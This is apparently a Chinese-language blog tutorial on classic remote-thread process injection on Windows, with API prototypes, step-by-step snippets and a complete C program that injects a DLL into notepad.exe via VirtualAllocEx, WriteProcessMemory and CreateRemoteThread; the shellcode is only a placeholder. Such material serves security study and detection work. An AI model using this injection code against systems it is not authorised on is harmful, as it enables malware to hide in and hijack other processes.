idiotc4t's blog
搜索文档…
GitBook 提供支持
CreateRemoteThread
经典代码&dll注入

远程线程注入

远程线程注入是指一个进程在另一个进程中创建线程的技术,通常用于注入dll或shellcode,两者执行方式会有一些简单的差异但是原理相同,这是一种简单且稳定的经典注入方式,被很多病毒木马所青睐,此外也存在更新式的注入方式。

注入流程

    1.
    打开被注入进程的句柄
    2.
    通过句柄向被注入进程申请可写可执行空间
    3.
    往申请的空间内写入必要数据(dllpath&shellcode)
    4.
    通过windows提供的api创建线程

编程实现

0.使用函数原型

1
HANDLE OpenProcess(
2
DWORD dwDesiredAccess,
3
BOOL bInheritHandle,
4
DWORD dwProcessId
5
);
Copied!
1
LPVOID VirtualAllocEx(
2
HANDLE hProcess,
3
LPVOID lpAddress,
4
SIZE_T dwSize,
5
DWORD flAllocationType,
6
DWORD flProtect
7
);
Copied!
1
BOOL WriteProcessMemory(
2
HANDLE hProcess,
3
LPVOID lpBaseAddress,
4
LPCVOID lpBuffer,
5
SIZE_T nSize,
6
SIZE_T *lpNumberOfBytesWritten
7
);
Copied!
1
HANDLE CreateRemoteThread(
2
HANDLE hProcess,
3
LPSECURITY_ATTRIBUTES lpThreadAttributes,
4
SIZE_T dwStackSize,
5
LPTHREAD_START_ROUTINE lpStartAddress,
6
LPVOID lpParameter,
7
DWORD dwCreationFlags,
8
LPDWORD lpThreadId
9
);
Copied!

1.打开被注入进程的句柄

1
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, <pid>);
Copied!

2.通过句柄向被注入进程申请可写可执行空间

1
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Copied!

3.往申请的空间内写入必要数据(dll&shellcode)

3.1 shellcode

1
char shellcode[]="XXXXXX";
2
WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
Copied!

3.2 DLL注入

1
char path[]="c:/test/test.dll";
2
WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
Copied!

4.通过windows提供的api创建线程

4.1 shellcode

1
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
Copied!

4.2 DLL注入

我们都知道在进程载入DLL的时候会调用DLLMAIN函数,同时由于ASLR(基址随机化)的缘故,在操作系统启动时,DLL的加载地址不尽相同,但由于部分系统DLL要求在系统启动后必须固定,所以我们通过GetProcAddress函数获取操作系统加载DLL的函数。
也就是说,虽然进程不同但是部分系统dll在不同进程中的地址是相同的,那么我们可以通过获取本地进程的相关函数作为远程线程函数的启动参数,并把申请的空间指向加载DLL保存路径的字符串,就可以远程加载DLL。
    不同进程的kernel32.dll
1
WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
2
LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
3
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
Copied!

优化与使用

    根据进程名查找PID
1
#include <Tlhelp32.h>
2
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
3
{
4
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
5
if (hSnapshot == INVALID_HANDLE_VALUE)
6
{
7
return 0;
8
}
9
10
PROCESSENTRY32 pe;
11
pe.dwSize = sizeof pe;
12
13
if (Process32First(hSnapshot, &pe))
14
{
15
do {
16
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
17
{
18
CloseHandle(hSnapshot);
19
return pe.th32ProcessID;
20
}
21
} while (Process32Next(hSnapshot, &pe));
22
}
23
24
CloseHandle(hSnapshot);
25
return 0;
26
}
Copied!
    完整代码
1
#include <stdio.h>
2
#include <Windows.h>
3
#include <Tlhelp32.h>
4
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
5
{
6
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
7
if (hSnapshot == INVALID_HANDLE_VALUE)
8
{
9
return 0;
10
}
11
12
PROCESSENTRY32 pe;
13
pe.dwSize = sizeof pe;
14
15
if (Process32First(hSnapshot, &pe))
16
{
17
do {
18
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
19
{
20
CloseHandle(hSnapshot);
21
return pe.th32ProcessID;
22
}
23
} while (Process32Next(hSnapshot, &pe));
24
}
25
26
CloseHandle(hSnapshot);
27
return 0;
28
}
29
char path[] = "C:\\Users\\Black Sheep\\source\\repos\\CreateRemoteThread\\x64\\Release\\TestDll.dll";
30
31
int main()
32
{
33
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"notepad.exe"));
34
35
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
36
WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
37
LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
38
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
39
return 0;
40
}
41
Copied!

LINKS

Ten process injection techniques: A technical survey of common and trending process injection techniques
Elastic Blog
Programming reference for the Win32 API - Win32 apps
docsmsft
最近更新 1yr ago